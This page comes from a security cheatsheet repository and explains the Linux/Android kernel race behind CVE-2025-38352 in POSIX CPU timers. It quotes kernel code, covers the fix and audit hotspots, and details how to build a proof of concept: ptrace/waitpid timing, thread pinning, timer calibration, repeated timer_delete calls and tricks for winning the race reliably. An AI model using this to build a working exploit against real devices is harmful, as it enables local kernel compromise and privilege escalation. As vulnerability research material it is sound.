repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
posix-cpu-timers-toctou-cve-2025-38352.mdMarkdown357 lines21.0 KiBsource raw download

title: "POSIX CPU Timers TOCTOU race (CVE-2025-38352)" section: "Linux" sectionSlug: "linux-hardening" sourcePath: "src/linux-hardening/main-system-information/kernel-lpe-cves/posix-cpu-timers-toctou-cve-2025-38352.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/main-system-information/kernel-lpe-cves/posix-cpu-timers-toctou-cve-2025-38352.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

POSIX CPU Timers TOCTOU race (CVE-2025-38352)#

This page documents a TOCTOU race condition in Linux/Android POSIX CPU timers that can corrupt timer state and crash the kernel, and under some circumstances be steered toward privilege escalation.[1][2]

Quick internals recap (relevant for exploitation):[1]

static int posix_cpu_timer_create(struct k_itimer *new_timer) {
    struct pid *pid;
    rcu_read_lock();
    pid = pid_for_clock(new_timer->it_clock, false);
    if (!pid) { rcu_read_unlock(); return -EINVAL; }
    new_timer->kclock = &clock_posix_cpu;
    timerqueue_init(&new_timer->it.cpu.node);
    new_timer->it.cpu.pid = get_pid(pid);
    rcu_read_unlock();
    return 0;
}
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
    struct posix_cputimer_base *base = timer_base(timer, p);
    struct cpu_timer *ctmr = &timer->it.cpu;
    u64 newexp = cpu_timer_getexpires(ctmr);
    if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
    if (newexp < base->nextevt) base->nextevt = newexp;
}
static inline bool fastpath_timer_check(struct task_struct *tsk) {
    struct posix_cputimers *pct = &tsk->posix_cputimers;
    if (!expiry_cache_is_inactive(pct)) {
        u64 samples[CPUCLOCK_MAX];
        task_sample_cputime(tsk, samples);
        if (task_cputimers_expired(samples, pct))
            return true;
    }
    return false;
}
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
                              struct list_head *firing, u64 now) {
    struct timerqueue_node *next; int i = 0;
    while ((next = timerqueue_getnext(head))) {
        struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
        u64 expires = cpu_timer_getexpires(ctmr);
        if (++i == MAX_COLLECTED || now < expires) return expires;
        ctmr->firing = 1;                           // critical state
        rcu_assign_pointer(ctmr->handling, current);
        cpu_timer_dequeue(ctmr);
        list_add_tail(&ctmr->elist, firing);
    }
    return U64_MAX;
}

Two expiry-processing modes:[1]

Task_work vs IRQ expiry paths
void run_posix_cpu_timers(void) {
    struct task_struct *tsk = current;
    __run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
    if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
    tsk->posix_cputimers_work.scheduled = true;
    task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
    lockdep_posixtimer_enter();
    handle_posix_cpu_timers(tsk);                  // IRQ-context path
    lockdep_posixtimer_exit();
}
#endif

In the IRQ-context path, the firing list is processed outside sighand.[1]

IRQ-context delivery loop
static void handle_posix_cpu_timers(struct task_struct *tsk) {
    struct k_itimer *timer, *next; unsigned long flags, start;
    LIST_HEAD(firing);
    if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
    do {
        start = READ_ONCE(jiffies); barrier();
        check_thread_timers(tsk, &firing);
        check_process_timers(tsk, &firing);
    } while (!posix_cpu_timers_enable_work(tsk, start));
    unlock_task_sighand(tsk, &flags);              // race window opens here
    list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
        int cpu_firing;
        spin_lock(&timer->it_lock);
        list_del_init(&timer->it.cpu.elist);
        cpu_firing = timer->it.cpu.firing;         // read then reset
        timer->it.cpu.firing = 0;
        if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
        rcu_assign_pointer(timer->it.cpu.handling, NULL);
        spin_unlock(&timer->it_lock);
    }
}

Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit.[1] Preconditions:[1]

Sequence:[1]

  1. update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
  2. collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
  3. handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
  4. Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
  5. In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.[1]

How release_task() and timer_delete() free firing timers#

Even after handle_posix_cpu_timers() has taken the timer off the task list, a ptraced zombie can still be reaped. The waitpid() stack drives release_task() → __exit_signal(), which tears down sighand and the signal queues while another CPU is still holding pointers to the timer object:[4]

static void __exit_signal(struct task_struct *tsk)
{
    struct sighand_struct *sighand = lock_task_sighand(tsk, NULL);
    // ... signal cleanup elided ...
    tsk->sighand = NULL;             // makes future lock_task_sighand() fail
    unlock_task_sighand(tsk, NULL);
}

With sighand detached, timer_delete() still returns success because posix_cpu_timer_del() leaves ret = 0 when locking fails, so the syscall proceeds to free the object via RCU:[4]

static int posix_cpu_timer_del(struct k_itimer *timer)
{
    struct sighand_struct *sighand = lock_task_sighand(p, &flags);
    if (unlikely(!sighand))
        goto out;                   // ret stays 0 -> userland sees success
    // ... normal unlink path ...
}
SYSCALL_DEFINE1(timer_delete, timer_t, timer_id)
{
    if (timer_delete_hook(timer) == TIMER_RETRY)
        timer = timer_wait_running(timer, &flags);
    posix_timer_unhash_and_free(timer);            // call_rcu(k_itimer_rcu_free)
    return 0;
}

Because the slab object is RCU-freed while IRQ context still walks the firing list, reuse of the timer cache becomes a UAF primitive.[4]

Steering reaping with ptrace + waitpid#

The easiest way to keep a zombie around without it being auto-reaped is to ptrace a non-leader worker thread. exit_notify() first sets exit_state = EXIT_ZOMBIE and only transitions to EXIT_DEAD if autoreap is true. For ptraced threads, autoreap = do_notify_parent() remains false as long as SIGCHLD is not ignored, so release_task() only runs when the parent explicitly calls waitpid():[4]

This choreography guarantees a window where handle_posix_cpu_timers() can still reference tsk->sighand, while a subsequent waitpid() tears it down and allows timer_delete() to reclaim the same k_itimer object.[4]

Why TASK_WORK mode is safe by design:[1][3]

Fix (Android common and Linux stable kernels) and rationale:[1][3][6]

// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
    return;

Impact:[1][2][8]

Triggering the bug (safe, reproducible conditions):[4] Build/config:[4]

config POSIX_CPU_TIMERS_TASK_WORK
    bool "CVE-2025-38352: POSIX CPU timers task_work toggle" if EXPERT
    depends on POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK
    default y

This mirrors what Android vendors did for analysis builds; upstream x86_64 and arm64 force HAVE_POSIX_CPU_TIMERS_TASK_WORK=y, so the vulnerable IRQ path mainly exists on 32-bit Android kernels where the option is compiled out.[4]

Runtime strategy:[4]

static timer_t t;
static void setup_cpu_timer(void) {
    struct sigevent sev = {0};
    sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
    sev.sigev_signo = SIGUSR1;
    if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
    struct itimerspec its = {0};
    its.it_value.tv_nsec = 1;           // fire ASAP
    its.it_interval.tv_nsec = 1;        // re-fire
    if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
void *deleter(void *arg) {
    for (;;) (void)timer_delete(t);     // hammer delete in a loop
}

Practical PoC orchestration#

Thread & IPC choreography#

A reliable reproducer forks into a ptracing parent and a child that spawns the vulnerable worker thread. Two pipes (c2p, p2c) deliver the worker TID and gate each phase, while a pthread_barrier_t prevents the worker from arming its timer until the parent has attached. Each process or thread is pinned with sched_setaffinity() (e.g., parent on CPU1, child main on CPU0, worker on CPU2) to minimize scheduler noise and keep the race reproducible.[4][5]

Timer calibration with CLOCK_THREAD_CPUTIME_ID#

The worker arms a per-thread CPU timer so that only its own CPU consumption advances the deadline. A tunable wait_time (default ≈250 µs of CPU time) plus a bounded busy loop ensure that exit_notify() sets EXIT_ZOMBIE while the timer is just about to fire:[4][5]

Minimal per-thread CPU timer skeleton
static timer_t timer;
static long wait_time = 250000; // nanoseconds of CPU time

static void timer_fire(sigval_t unused) {
    puts("timer fired");
}

static void *worker(void *arg) {
    struct sigevent sev = {0};
    sev.sigev_notify = SIGEV_THREAD;
    sev.sigev_notify_function = timer_fire;
    timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer);

    struct itimerspec ts = {
        .it_interval = {0, 0},
        .it_value    = {0, wait_time},
    };

    pthread_barrier_wait(&barrier);  // released by child main after ptrace attach
    timer_settime(timer, 0, &ts, NULL);

    for (volatile int i = 0; i < 1000000; i++); // burn CPU before exiting
    return NULL;                                 // do_exit() keeps burning CPU
}

Race timeline#

  1. Child tells the parent the worker TID via c2p, then blocks on the barrier.[4]
  2. Parent PTRACE_ATTACHes, waits in waitpid(__WALL), then PTRACE_CONT to let the worker run and exit.
  3. When heuristics (or manual operator input) suggest the timer was collected into the IRQ-side firing list, the parent executes waitpid(tid, __WALL) again to trigger release_task() and drop tsk->sighand.
  4. Parent signals the child over p2c so child main can call timer_delete(timer) and immediately run a helper such as wait_for_rcu() until the timer’s RCU callback completes.
  5. IRQ context eventually resumes handle_posix_cpu_timers() and dereferences the freed struct k_itimer, tripping KASAN or WARN_ON()s.[4]

Optional kernel instrumentation#

For research setups, injecting a debug-only mdelay(500) inside handle_posix_cpu_timers() when tsk->comm == "SLOWME" widens the window so the above choreography almost always wins the race. The same PoC also renames threads (prctl(PR_SET_NAME, ...)) so kernel logs and breakpoints confirm the expected worker is being reaped.[4]

Later public PoC reliability tricks#

Later public PoCs showed the race can also be won on unmodified 6.12.33-era kernels without inserting a debug mdelay(), mainly by increasing how much kernel work happens after unlock_task_sighand() and by making retries deterministic.[7]

Instrumentation cues during exploitation#

zgrep CONFIG_POSIX_CPU_TIMERS_TASK_WORK /proc/config.gz 2>/dev/null || grep CONFIG_POSIX_CPU_TIMERS_TASK_WORK /boot/config-$(uname -r)

dmesg -w | egrep 'slab-use-after-free in posix_timer_queue_signal|send_sigqueue|handle_posix_cpu_timers: delta_ns='

Audit hotspots (for reviewers):[1]

Notes for exploitation research:[1][2][8]

References#